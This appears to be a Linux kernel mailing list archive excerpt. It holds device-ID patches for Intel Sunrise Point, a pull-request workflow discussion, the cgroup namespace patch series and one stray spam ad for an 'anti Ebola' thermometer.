diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
index aa302fb..8856604 100644
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -218,6 +218,7 @@ MODULE_SUPPORTED_DEVICE("{{Intel, ICH6},"
"{Intel, LPT},"
"{Intel, LPT_LP},"
"{Intel, WPT_LP},"
+"{Intel, SPT},"
"{Intel, HPT},"
"{Intel, PBG},"
"{Intel, SCH},"
@@ -1984,6 +1985,9 @@ static const struct pci_device_id azx_ids[] = {
/* 9 Series */
{ PCI_DEVICE(0x8086, 0x8ca0),
.driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH },
+ /* Sunrise Point */
+ { PCI_DEVICE(0x8086, 0xa170),
+ .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH },
/* Wellsburg */
{ PCI_DEVICE(0x8086, 0x8d20),
.driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH },
--
1.8.3.1
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH 2/4] i2c-i801: Add Device IDs for Intel Sunrise Point PCH
This patch adds the I2C/SMBus Device IDs for the Intel Sunrise Point PCH.
Signed-off-by: James Ralston
---
Documentation/i2c/busses/i2c-i801 | 1 +
drivers/i2c/busses/Kconfig| 1 +
drivers/i2c/busses/i2c-i801.c | 3 +++
3 files changed, 5 insertions(+)
diff --git a/Documentation/i2c/busses/i2c-i801
b/Documentation/i2c/busses/i2c-i801
index e9c803e..793c83d 100644
--- a/Documentation/i2c/busses/i2c-i801
+++ b/Documentation/i2c/busses/i2c-i801
@@ -28,6 +28,7 @@ Supported adapters:
* Intel Wildcat Point (PCH)
* Intel Wildcat Point-LP (PCH)
* Intel BayTrail (SOC)
+ * Intel Sunrise Point-H (PCH)
Datasheets: Publicly available at the Intel website
On Intel Patsburg and later chipsets, both the normal host SMBus controller
diff --git a/drivers/i2c/busses/Kconfig b/drivers/i2c/busses/Kconfig
index 2ac87fa..9f4f574 100644
--- a/drivers/i2c/busses/Kconfig
+++ b/drivers/i2c/busses/Kconfig
@@ -112,6 +112,7 @@ config I2C_I801
Wildcat Point (PCH)
Wildcat Point-LP (PCH)
BayTrail (SOC)
+ Sunrise Point-H (PCH)
This driver can also be built as a module. If so, the module
will be called i2c-i801.
diff --git a/drivers/i2c/busses/i2c-i801.c b/drivers/i2c/busses/i2c-i801.c
index 10467a3..7cfc183 100644
--- a/drivers/i2c/busses/i2c-i801.c
+++ b/drivers/i2c/busses/i2c-i801.c
@@ -62,6 +62,7 @@
* Wildcat Point (PCH) 0x8ca2 32 hardyes yes yes
* Wildcat Point-LP (PCH) 0x9ca2 32 hardyes yes yes
* BayTrail (SOC) 0x0f12 32 hardyes yes yes
+ * Sunrise Point-H (PCH) 0xa123 32 hardyes yes yes
*
* Features supported by this driver:
* Software PECno
@@ -184,6 +185,7 @@
#define PCI_DEVICE_ID_INTEL_WELLSBURG_SMBUS_MS20x8d7f
#define PCI_DEVICE_ID_INTEL_LYNXPOINT_LP_SMBUS 0x9c22
#define PCI_DEVICE_ID_INTEL_WILDCATPOINT_LP_SMBUS 0x9ca2
+#define PCI_DEVICE_ID_INTEL_SUNRISEPOINT_H_SMBUS 0xa123
struct i801_mux_config {
char *gpio_chip;
@@ -830,6 +832,7 @@ static const struct pci_device_id i801_ids[] = {
{ PCI_DEVICE(PCI_VENDOR_ID_INTEL,
PCI_DEVICE_ID_INTEL_WILDCATPOINT_LP_SMBUS) },
{ PCI_DEVICE(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_BAYTRAIL_SMBUS) },
{ PCI_DEVICE(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_BRASWELL_SMBUS) },
+ { PCI_DEVICE(PCI_VENDOR_ID_INTEL,
PCI_DEVICE_ID_INTEL_SUNRISEPOINT_H_SMBUS) },
{ 0, }
};
--
1.8.3.1
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
NON-CONTACT INFRARED THERMOMETER ANTI EBOLA VIRUS USD 16 PER ONE
Dear All NON-CONTACT INFRARED THERMOMETER ANTI EBOLA VIRUS Pls find attached the Products catalogue. 8806 model: 0-500 pcs USD 16 per one. 501-1000 pcs USD 15 per one. 8808 model: 0-500 pcs USD 17 per one, 501-1000 pcs USD 16 per one. Now this product is very hot, Any question please do not hesitate to contact me. Nick Marketing Director -- PERLONG MEDICAL EQUIPMENT HONGKONG LIMITED. ADDRESS: FLAT/RM 1401 14/F WORLD COMMERCE CENTRE HARBOUR CITY 7-11 CANTON RD TSIMSHATSUIKL HONGKONG Tel:+86-25-85553599 Fax:+86-25-83650868 M.P.: +86-13951618193 Website: www.perlong.hk EMAIL:perlong...@gmail.com MSN:perlong...@hotmail.com Yahoo:nick20070...@yahoo.com
[PATCH 1/4] ahci: Add Device IDs for Intel Sunrise Point PCH
This patch adds the AHCI-mode SATA Device IDs for the Intel Sunrise Point PCH.
Signed-off-by: James Ralston
---
drivers/ata/ahci.c | 5 +
1 file changed, 5 insertions(+)
diff --git a/drivers/ata/ahci.c b/drivers/ata/ahci.c
index a0cc0ed..efa08f4 100644
--- a/drivers/ata/ahci.c
+++ b/drivers/ata/ahci.c
@@ -313,6 +313,11 @@ static const struct pci_device_id ahci_pci_tbl[] = {
{ PCI_VDEVICE(INTEL, 0x8c87), board_ahci }, /* 9 Series RAID */
{ PCI_VDEVICE(INTEL, 0x8c8e), board_ahci }, /* 9 Series RAID */
{ PCI_VDEVICE(INTEL, 0x8c8f), board_ahci }, /* 9 Series RAID */
+ { PCI_VDEVICE(INTEL, 0xa103), board_ahci }, /* Sunrise Point-H AHCI */
+ { PCI_VDEVICE(INTEL, 0xa103), board_ahci }, /* Sunrise Point-H RAID */
+ { PCI_VDEVICE(INTEL, 0xa105), board_ahci }, /* Sunrise Point-H RAID */
+ { PCI_VDEVICE(INTEL, 0xa107), board_ahci }, /* Sunrise Point-H RAID */
+ { PCI_VDEVICE(INTEL, 0xa10f), board_ahci }, /* Sunrise Point-H RAID */
/* JMicron 360/1/3/5/6, match class to avoid IDE function */
{ PCI_VENDOR_ID_JMICRON, PCI_ANY_ID, PCI_ANY_ID, PCI_ANY_ID,
--
1.8.3.1
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [GIT PULL] xfs: updates for 3.18-rc1
On Mon, Oct 13, 2014 at 05:48:18AM -0400, Linus Torvalds wrote: > On Sun, Oct 12, 2014 at 9:37 PM, Dave Chinner wrote: > > > > i.e. I have generated this pull-req from the base tree I've been working > > on (3.17-rc2) but there have already been commits merged into a more > > recent upstream tree (3.17-rc4) in this tree. When I generate the > > pull request from the underlying 3.17-rc2 branch, it includes all > > those commits, both in the summary and the diffstat. If I base the > > pull request off 3.17, the base commit is the last one that was > > merged into your tree, and the diffstat and commit list reflect > > that. > > That's fine, and works for me too. This is normal and expected for > stuff that has gotten into my tree other ways (ie bugfixes that were > cherrypicked to be backported from development trees etc). I'm used > to it, and while I hope people minimize it (not only because of > multiple commits showing up with the same patch, but because it can > easily cause stupid merge conflicts because the development tree then > made further changes on top of the same patch), it's also very much > considered "normal development". > > That said, when there are actual *common* commits as in your case (as > opposed to cherrypicked commits that generate duplicate commits with > the same patch), I would generally suggest you just let "git > merge-base" figure it all out from my latest tree. That way it takes > into account the stuff that you sent earlier on its own. Ok, that seems easy enough to check. I wasn't aware of git merge-base, so thanks for letting me know about it. > But this is not a big deal. > > > So my question is this: Which tree should I generate the pull > > request from? I flipped a coin an generated this one from 3.17-rc2, > > but if you'd prefer to see just the commits/diffstat that aren't in > > your tree, let me know and I'll do it differently next time > > Normally, I'd suggest the easiest way to handle things is to have a > "linus" branch that tracks my upstream, and then just generate the > pull request off that. Git will figure out the latest merge base and > just do the right thing, and you don't need to really think about > where you forked things off, and which parts you have already sent to > me. OK, that's exactly what I would have done if the coin flip landed the other way. I'll use that method in future. > As mentioned, even then the diffstat doesn't always end up being > exactly right, because the history with partially merged branches, and > with potential cherry-picked commits. So I am not surprised or upset > if the diffstat doesn't always match, it happens quite commonly. I go > on a rant when that i sdue to bad development practices, but I don't > see anything like that in your tree. That's good to know - I'm trying to keep the topic branches as stable as possible so you can see when they were first pushed into the tree, if/when fixes are appended to them and the dependencies between them so bisects won't break. If you do see something wrong or dodgy, just yell. ;) > Some people avoid this by actually generating a test-merge (to warn me > about upcoming conflicts etc), and then generate the diffstat from > that test merge instead of just using the plain "git diff" in the > git-pull-request helper scripts. Whatever works. This is not a huge > deal, exactly because it's "normal development" (unlike the > back-merges issue). *nod* Definitely "normal development" - I do that "test merge" as part of my day-to-day workflow. My test tree (i.e. what I point overnight xfstests runs at) is your TOT + the current XFS for-next + any patch sets I'm reviewing, testing and/or developing Thanks for the info, Linus. Cheers, Dave. -- Dave Chinner da...@fromorbit.com -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: linux-next: status of the signal-cleanup tree
Hi Richard, On Mon, 13 Oct 2014 16:38:36 +0200 Richard Weinberger wrote: > > Just remove it. The "feature" was merged. OK, thanks. Gone now. -- Cheers, Stephen Rothwells...@canb.auug.org.au signature.asc Description: PGP signature
Re: [PATCH v9 net-next 2/4] net: filter: split filter.h and expose eBPF to user space
On Mon, Oct 13, 2014 at 10:21 AM, Daniel Borkmann wrote: > On 09/03/2014 05:46 PM, Daniel Borkmann wrote: > ... >> >> Ok, given you post the remaining two RFCs later on this window as >> you indicate, I have no objections: >> >> Acked-by: Daniel Borkmann > > > Ping, Alexei, are you still sending the patch for bpf_common.h or > do you want me to take care of this? It's not forgotten. I'm not sending it only because net-next is closed and it seems to be -next material. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] tty/serial_core: Introduce lock mechanism for RS485
On 13/10/2014 21:03, Ricardo Ribalda Delgado :
> Hello Nicolas
>
>>
>> I have the feeling that moving the code chunk that uses this new
>> variable (rs485_enabled) here ...
>>
>>> ret = uart_add_one_port(_uart, >uart);
>>> if (ret)
>>> goto err_add_port;
>>> @@ -2574,7 +2572,7 @@ static int atmel_serial_probe(struct platform_device
>>> *pdev)
>>> device_init_wakeup(>dev, 1);
>>> platform_set_drvdata(pdev, port);
>>>
>>> - if (port->uart.rs485.flags & SER_RS485_ENABLED) {
>>> + if (rs485_enabled) {
>>> UART_PUT_MR(>uart, ATMEL_US_USMODE_NORMAL);
>>> UART_PUT_CR(>uart, ATMEL_US_RTSEN);
>>> }
>>
>> ... (this one ^^^) up where you can test the SER_RS485_ENABLED, can be
>> even simpler.
>>
>> otherwise, it seems good so you can add my:
>>
>> Acked-by: Nicolas Ferre
>>
>> Thanks.
>
> I supposed that the code needs to be initialized with rs485 disabled
> and then enable it. Also I did not want to change the behaviour a
> driver in a patch that involves 3 other drivers. If you don't mind I
> prefer that this is added to a separated patch.
Fair enough, I can do it later on.
Thanks, bye,
--
Nicolas Ferre
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [GIT PULL] parisc architecture patch for v3.18
Hi, On Mon, Oct 13, 2014 at 10:24:53PM +0200, Helge Deller wrote: > On 10/13/2014 03:41 PM, One Thousand Gnomes wrote: > >I somehow doubt your kill command magically corrects its signal numbering > >table. Likewise what does gdb do given a core dump that died from one of > >those signals, and what does your shell report if you kill one that way. > >It seems to me your minimal set of binaries to swap to get it right is > >non-zero but not problematic (libc, kill, shells, top, gdb) ? > > My patch of course just marks the start of a transition phase, in which > some few applications need to be rebuilt (libc as the most important one). Busybox handles changed signals correctly after rebuilding against new headers. Based on quick look, GDB has never known about PA-RISC specific numbers, so it has probably always reported some wrong signal name... A. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 0/8] CGroup Namespaces
Second take at the Cgroup Namespace patch-set. Major changes form RFC (V0): 1. setns support for cgroupns 2. 'mount -t cgroup cgroup ' from inside a cgroupns now mounts the cgroup hierarcy with cgroupns-root as the filesystem root. 3. writes to cgroup files outside of cgroupns-root are not allowed 4. visibility of /proc//cgroup is further restricted by not showing anything if the is in a sibling cgroupns and its cgroup falls outside your cgroupns-root. More details in the writeup below. Background Cgroups and Namespaces are used together to create “virtual” containers that isolates the host environment from the processes running in container. But since cgroups themselves are not “virtualized”, the task is always able to see global cgroups view through cgroupfs mount and via /proc/self/cgroup file. $ cat /proc/self/cgroup 0:cpuset,cpu,cpuacct,memory,devices,freezer,hugetlb:/batchjobs/c_job_id1 This exposure of cgroup names to the processes running inside a container results in some problems: (1) The container names are typically host-container-management-agent (systemd, docker/libcontainer, etc.) data and leaking its name (or leaking the hierarchy) reveals too much information about the host system. (2) It makes the container migration across machines (CRIU) more difficult as the container names need to be unique across the machines in the migration domain. (3) It makes it difficult to run container management tools (like docker/libcontainer, lmctfy, etc.) within virtual containers without adding dependency on some state/agent present outside the container. Note that the feature proposed here is completely different than the “ns cgroup” feature which existed in the linux kernel until recently. The ns cgroup also attempted to connect cgroups and namespaces by creating a new cgroup every time a new namespace was created. It did not solve any of the above mentioned problems and was later dropped from the kernel. Incidentally though, it used the same config option name CONFIG_CGROUP_NS as used in my prototype! Introducing CGroup Namespaces With unified cgroup hierarchy (Documentation/cgroups/unified-hierarchy.txt), the containers can now have a much more coherent cgroup view and its easy to associate a container with a single cgroup. This also allows us to virtualize the cgroup view for tasks inside the container. The new CGroup Namespace allows a process to “unshare” its cgroup hierarchy starting from the cgroup its currently in. For Ex: $ cat /proc/self/cgroup 0:cpuset,cpu,cpuacct,memory,devices,freezer,hugetlb:/batchjobs/c_job_id1 $ ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 2014-07-15 10:37 /proc/self/ns/cgroup -> cgroup:[4026531835] $ ~/unshare -c # calls unshare(CLONE_NEWCGROUP) and exec’s /bin/bash [ns]$ ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 2014-07-15 10:35 /proc/self/ns/cgroup -> cgroup:[4026532183] # From within new cgroupns, process sees that its in the root cgroup [ns]$ cat /proc/self/cgroup 0:cpuset,cpu,cpuacct,memory,devices,freezer,hugetlb:/ # From global cgroupns: $ cat /proc//cgroup 0:cpuset,cpu,cpuacct,memory,devices,freezer,hugetlb:/batchjobs/c_job_id1 # Unshare cgroupns along with userns and mountns # Following calls unshare(CLONE_NEWCGROUP|CLONE_NEWUSER|CLONE_NEWNS), then # sets up uid/gid map and exec’s /bin/bash $ ~/unshare -c -u -m # Originally, we were in /batchjobs/c_job_id1 cgroup. Mount our own cgroup # hierarchy. [ns]$ mount -t cgroup cgroup /tmp/cgroup [ns]$ ls -l /tmp/cgroup total 0 -r--r--r-- 1 root root 0 2014-10-13 09:32 cgroup.controllers -r--r--r-- 1 root root 0 2014-10-13 09:32 cgroup.populated -rw-r--r-- 1 root root 0 2014-10-13 09:25 cgroup.procs -rw-r--r-- 1 root root 0 2014-10-13 09:32 cgroup.subtree_control The cgroupns-root (/batchjobs/c_job_id1 in above example) becomes the filesystem root for the namespace specific cgroupfs mount. The virtualization of /proc/self/cgroup file combined with restricting the view of cgroup hierarchy by namespace-private cgroupfs mount should provide a completely isolated cgroup view inside the container. In its current form, the cgroup namespaces patcheset provides following behavior: (1) The “root” cgroup for a cgroup namespace is the cgroup in which the process calling unshare is running. For ex. if a process in /batchjobs/c_job_id1 cgroup calls unshare, cgroup /batchjobs/c_job_id1 becomes the cgroupns-root. For the init_cgroup_ns, this is the real root (“/”) cgroup (identified in code as cgrp_dfl_root.cgrp). (2) The cgroupns-root cgroup does not change even if the namespace creator process later moves to a different cgroup. $ ~/unshare -c # unshare cgroupns in some cgroup [ns]$ cat /proc/self/cgroup 0:cpuset,cpu,cpuacct,memory,devices,freezer,hugetlb:/
[PATCHv1 6/8] cgroup: restrict cgroup operations within task's cgroupns
Restrict following operations within the calling tasks:
* cgroup_mkdir & cgroup_rmdir
* cgroup_attach_task
* writes to cgroup files outside of task's cgroupns-root
Also, read of /proc//cgroup file is now restricted only
to tasks under same cgroupns-root. If a task tries to look
at cgroup of another task outside of its cgroupns-root, then
it won't be able to see anything for the default hierarchy.
This is same as if the cgroups are not mounted.
Signed-off-by: Aditya Kali
---
kernel/cgroup.c | 34 +-
1 file changed, 33 insertions(+), 1 deletion(-)
diff --git a/kernel/cgroup.c b/kernel/cgroup.c
index f8099b4..2fc0dfa 100644
--- a/kernel/cgroup.c
+++ b/kernel/cgroup.c
@@ -2318,6 +2318,12 @@ static int cgroup_attach_task(struct cgroup *dst_cgrp,
struct task_struct *task;
int ret;
+ /* Only allow changing cgroups accessible within task's cgroup
+* namespace. i.e. 'dst_cgrp' should be a descendant of task's
+* cgroupns->root_cgrp. */
+ if (!cgroup_is_descendant(dst_cgrp, task_cgroupns_root(leader)))
+ return -EPERM;
+
/* look up all src csets */
down_read(_set_rwsem);
rcu_read_lock();
@@ -2882,6 +2888,10 @@ static ssize_t cgroup_file_write(struct kernfs_open_file
*of, char *buf,
struct cgroup_subsys_state *css;
int ret;
+ /* Reject writes to cgroup files outside of task's cgroupns-root. */
+ if (!cgroup_is_descendant(cgrp, task_cgroupns_root(current)))
+ return -EINVAL;
+
if (cft->write)
return cft->write(of, buf, nbytes, off);
@@ -4560,6 +4570,13 @@ static int cgroup_mkdir(struct kernfs_node *parent_kn,
const char *name,
parent = cgroup_kn_lock_live(parent_kn);
if (!parent)
return -ENODEV;
+
+ /* Allow mkdir only within process's cgroup namespace root. */
+ if (!cgroup_is_descendant(parent, task_cgroupns_root(current))) {
+ ret = -EPERM;
+ goto out_unlock;
+ }
+
root = parent->root;
/* allocate the cgroup and its ID, 0 is reserved for the root */
@@ -4822,6 +4839,13 @@ static int cgroup_rmdir(struct kernfs_node *kn)
if (!cgrp)
return 0;
+ /* Allow rmdir only within process's cgroup namespace root.
+* The process can't delete its own root anyways. */
+ if (!cgroup_is_descendant(cgrp, task_cgroupns_root(current))) {
+ cgroup_kn_unlock(kn);
+ return -EPERM;
+ }
+
ret = cgroup_destroy_locked(cgrp);
cgroup_kn_unlock(kn);
@@ -5051,6 +5075,15 @@ int proc_cgroup_show(struct seq_file *m, struct
pid_namespace *ns,
if (root == _dfl_root && !cgrp_dfl_root_visible)
continue;
+ cgrp = task_cgroup_from_root(tsk, root);
+
+ /* The cgroup path on default hierarchy is shown only if it
+* falls under current task's cgroupns-root.
+*/
+ if (root == _dfl_root &&
+ !cgroup_is_descendant(cgrp, task_cgroupns_root(current)))
+ continue;
+
seq_printf(m, "%d:", root->hierarchy_id);
for_each_subsys(ss, ssid)
if (root->subsys_mask & (1 << ssid))
@@ -5059,7 +5092,6 @@ int proc_cgroup_show(struct seq_file *m, struct
pid_namespace *ns,
seq_printf(m, "%sname=%s", count ? "," : "",
root->name);
seq_putc(m, ':');
- cgrp = task_cgroup_from_root(tsk, root);
path = cgroup_path(cgrp, buf, PATH_MAX);
if (!path) {
retval = -ENAMETOOLONG;
--
2.1.0.rc2.206.gedb03e5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 4/8] cgroup: export cgroup_get() and cgroup_put()
move cgroup_get() and cgroup_put() into cgroup.h so that
they can be called from other places.
Signed-off-by: Aditya Kali
---
include/linux/cgroup.h | 22 ++
kernel/cgroup.c| 22 --
2 files changed, 22 insertions(+), 22 deletions(-)
diff --git a/include/linux/cgroup.h b/include/linux/cgroup.h
index 80ed6e0..4a0eb2d 100644
--- a/include/linux/cgroup.h
+++ b/include/linux/cgroup.h
@@ -521,6 +521,28 @@ static inline bool cgroup_on_dfl(const struct cgroup *cgrp)
return cgrp->root == _dfl_root;
}
+/* convenient tests for these bits */
+static inline bool cgroup_is_dead(const struct cgroup *cgrp)
+{
+ return !(cgrp->self.flags & CSS_ONLINE);
+}
+
+static inline void cgroup_get(struct cgroup *cgrp)
+{
+ WARN_ON_ONCE(cgroup_is_dead(cgrp));
+ css_get(>self);
+}
+
+static inline bool cgroup_tryget(struct cgroup *cgrp)
+{
+ return css_tryget(>self);
+}
+
+static inline void cgroup_put(struct cgroup *cgrp)
+{
+ css_put(>self);
+}
+
/* no synchronization, the result can only be used as a hint */
static inline bool cgroup_has_tasks(struct cgroup *cgrp)
{
diff --git a/kernel/cgroup.c b/kernel/cgroup.c
index 56d507b..2b3e9f9 100644
--- a/kernel/cgroup.c
+++ b/kernel/cgroup.c
@@ -284,12 +284,6 @@ static struct cgroup_subsys_state *cgroup_e_css(struct
cgroup *cgrp,
return cgroup_css(cgrp, ss);
}
-/* convenient tests for these bits */
-static inline bool cgroup_is_dead(const struct cgroup *cgrp)
-{
- return !(cgrp->self.flags & CSS_ONLINE);
-}
-
struct cgroup_subsys_state *of_css(struct kernfs_open_file *of)
{
struct cgroup *cgrp = of->kn->parent->priv;
@@ -1002,22 +996,6 @@ static umode_t cgroup_file_mode(const struct cftype *cft)
return mode;
}
-static void cgroup_get(struct cgroup *cgrp)
-{
- WARN_ON_ONCE(cgroup_is_dead(cgrp));
- css_get(>self);
-}
-
-static bool cgroup_tryget(struct cgroup *cgrp)
-{
- return css_tryget(>self);
-}
-
-static void cgroup_put(struct cgroup *cgrp)
-{
- css_put(>self);
-}
-
/**
* cgroup_refresh_child_subsys_mask - update child_subsys_mask
* @cgrp: the target cgroup
--
2.1.0.rc2.206.gedb03e5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 2/8] sched: new clone flag CLONE_NEWCGROUP for cgroup namespace
CLONE_NEWCGROUP will be used to create new cgroup namespace. Signed-off-by: Aditya Kali --- include/uapi/linux/sched.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/include/uapi/linux/sched.h b/include/uapi/linux/sched.h index 34f9d73..2f90d00 100644 --- a/include/uapi/linux/sched.h +++ b/include/uapi/linux/sched.h @@ -21,8 +21,7 @@ #define CLONE_DETACHED 0x0040 /* Unused, ignored */ #define CLONE_UNTRACED 0x0080 /* set if the tracing process can't force CLONE_PTRACE on this clone */ #define CLONE_CHILD_SETTID 0x0100 /* set the TID in the child */ -/* 0x0200 was previously the unused CLONE_STOPPED (Start in stopped state) - and is now available for re-use. */ +#define CLONE_NEWCGROUP0x0200 /* New cgroup namespace */ #define CLONE_NEWUTS 0x0400 /* New utsname group? */ #define CLONE_NEWIPC 0x0800 /* New ipcs */ #define CLONE_NEWUSER 0x1000 /* New user namespace */ -- 2.1.0.rc2.206.gedb03e5 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 5/8] cgroup: introduce cgroup namespaces
Introduce the ability to create new cgroup namespace. The newly created
cgroup namespace remembers the 'struct cgroup *root_cgrp' at the point
of creation of the cgroup namespace. The task that creates the new
cgroup namespace and all its future children will now be restricted only
to the cgroup hierarchy under this root_cgrp.
The main purpose of cgroup namespace is to virtualize the contents
of /proc/self/cgroup file. Processes inside a cgroup namespace
are only able to see paths relative to their namespace root.
This allows container-tools (like libcontainer, lxc, lmctfy, etc.)
to create completely virtualized containers without leaking system
level cgroup hierarchy to the task.
This patch only implements the 'unshare' part of the cgroupns.
Signed-off-by: Aditya Kali
---
fs/proc/namespaces.c | 3 +
include/linux/cgroup.h | 18 +-
include/linux/cgroup_namespace.h | 62 +++
include/linux/nsproxy.h | 2 +
include/linux/proc_ns.h | 4 ++
init/Kconfig | 9 +++
kernel/Makefile | 1 +
kernel/cgroup.c | 11
kernel/cgroup_namespace.c| 128 +++
kernel/fork.c| 2 +-
kernel/nsproxy.c | 19 +-
11 files changed, 255 insertions(+), 4 deletions(-)
diff --git a/fs/proc/namespaces.c b/fs/proc/namespaces.c
index 8902609..e04ed4b 100644
--- a/fs/proc/namespaces.c
+++ b/fs/proc/namespaces.c
@@ -32,6 +32,9 @@ static const struct proc_ns_operations *ns_entries[] = {
_operations,
#endif
_operations,
+#ifdef CONFIG_CGROUP_NS
+ _operations,
+#endif
};
static const struct file_operations ns_file_operations = {
diff --git a/include/linux/cgroup.h b/include/linux/cgroup.h
index 4a0eb2d..aa86495 100644
--- a/include/linux/cgroup.h
+++ b/include/linux/cgroup.h
@@ -22,6 +22,8 @@
#include
#include
#include
+#include
+#include
#ifdef CONFIG_CGROUPS
@@ -460,6 +462,13 @@ struct cftype {
#endif
};
+struct cgroup_namespace {
+ atomic_tcount;
+ unsigned intproc_inum;
+ struct user_namespace *user_ns;
+ struct cgroup *root_cgrp;
+};
+
extern struct cgroup_root cgrp_dfl_root;
extern struct css_set init_css_set;
@@ -584,10 +593,17 @@ static inline int cgroup_name(struct cgroup *cgrp, char
*buf, size_t buflen)
return kernfs_name(cgrp->kn, buf, buflen);
}
+static inline char * __must_check cgroup_path_ns(struct cgroup_namespace *ns,
+struct cgroup *cgrp, char *buf,
+size_t buflen)
+{
+ return kernfs_path_from_node(ns->root_cgrp->kn, cgrp->kn, buf, buflen);
+}
+
static inline char * __must_check cgroup_path(struct cgroup *cgrp, char *buf,
size_t buflen)
{
- return kernfs_path(cgrp->kn, buf, buflen);
+ return cgroup_path_ns(current->nsproxy->cgroup_ns, cgrp, buf, buflen);
}
static inline void pr_cont_cgroup_name(struct cgroup *cgrp)
diff --git a/include/linux/cgroup_namespace.h b/include/linux/cgroup_namespace.h
new file mode 100644
index 000..9f637fe
--- /dev/null
+++ b/include/linux/cgroup_namespace.h
@@ -0,0 +1,62 @@
+#ifndef _LINUX_CGROUP_NAMESPACE_H
+#define _LINUX_CGROUP_NAMESPACE_H
+
+#include
+#include
+#include
+#include
+
+extern struct cgroup_namespace init_cgroup_ns;
+
+static inline struct cgroup *task_cgroupns_root(struct task_struct *tsk)
+{
+ return tsk->nsproxy->cgroup_ns->root_cgrp;
+}
+
+#ifdef CONFIG_CGROUP_NS
+
+extern void free_cgroup_ns(struct cgroup_namespace *ns);
+
+static inline struct cgroup_namespace *get_cgroup_ns(
+ struct cgroup_namespace *ns)
+{
+ if (ns)
+ atomic_inc(>count);
+ return ns;
+}
+
+static inline void put_cgroup_ns(struct cgroup_namespace *ns)
+{
+ if (ns && atomic_dec_and_test(>count))
+ free_cgroup_ns(ns);
+}
+
+extern struct cgroup_namespace *copy_cgroup_ns(unsigned long flags,
+ struct user_namespace *user_ns,
+ struct cgroup_namespace *old_ns);
+
+#else /* CONFIG_CGROUP_NS */
+
+static inline struct cgroup_namespace *get_cgroup_ns(
+ struct cgroup_namespace *ns)
+{
+ return _cgroup_ns;
+}
+
+static inline void put_cgroup_ns(struct cgroup_namespace *ns)
+{
+}
+
+static inline struct cgroup_namespace *copy_cgroup_ns(
+ unsigned long flags,
+ struct user_namespace *user_ns,
+ struct cgroup_namespace *old_ns) {
+ if (flags & CLONE_NEWCGROUP)
+ return ERR_PTR(-EINVAL);
+
+ return old_ns;
+}
+
+#endif /* CONFIG_CGROUP_NS */
+
+#endif /* _LINUX_CGROUP_NAMESPACE_H */
diff --git a/include/linux/nsproxy.h b/include/linux/nsproxy.h
index 35fa08f..ac0d65b
[PATCHv1 8/8] cgroup: mount cgroupns-root when inside non-init cgroupns
This patch enables cgroup mounting inside userns when a process
as appropriate privileges. The cgroup filesystem mounted is
rooted at the cgroupns-root. Thus, in a container-setup, only
the hierarchy under the cgroupns-root is exposed inside the container.
This allows container management tools to run inside the containers
without depending on any global state.
In order to support this, a new kernfs api is added to lookup the
dentry for the cgroupns-root.
Signed-off-by: Aditya Kali
---
fs/kernfs/mount.c | 48
include/linux/kernfs.h | 2 ++
kernel/cgroup.c| 47 +--
3 files changed, 95 insertions(+), 2 deletions(-)
diff --git a/fs/kernfs/mount.c b/fs/kernfs/mount.c
index f973ae9..e334f45 100644
--- a/fs/kernfs/mount.c
+++ b/fs/kernfs/mount.c
@@ -62,6 +62,54 @@ struct kernfs_root *kernfs_root_from_sb(struct super_block
*sb)
return NULL;
}
+/**
+ * kernfs_make_root - create new root dentry for the given kernfs_node.
+ * @sb: the kernfs super_block
+ * @kn: kernfs_node for which a dentry is needed
+ *
+ * This can used used by callers which want to mount only a part of the kernfs
+ * as root of the filesystem.
+ */
+struct dentry *kernfs_obtain_root(struct super_block *sb,
+ struct kernfs_node *kn)
+{
+ struct dentry *dentry;
+ struct inode *inode;
+
+ BUG_ON(sb->s_op != _sops);
+
+ /* inode for the given kernfs_node should already exist. */
+ inode = ilookup(sb, kn->ino);
+ if (!inode) {
+ pr_debug("kernfs: could not get inode for '");
+ pr_cont_kernfs_path(kn);
+ pr_cont("'.\n");
+ return ERR_PTR(-EINVAL);
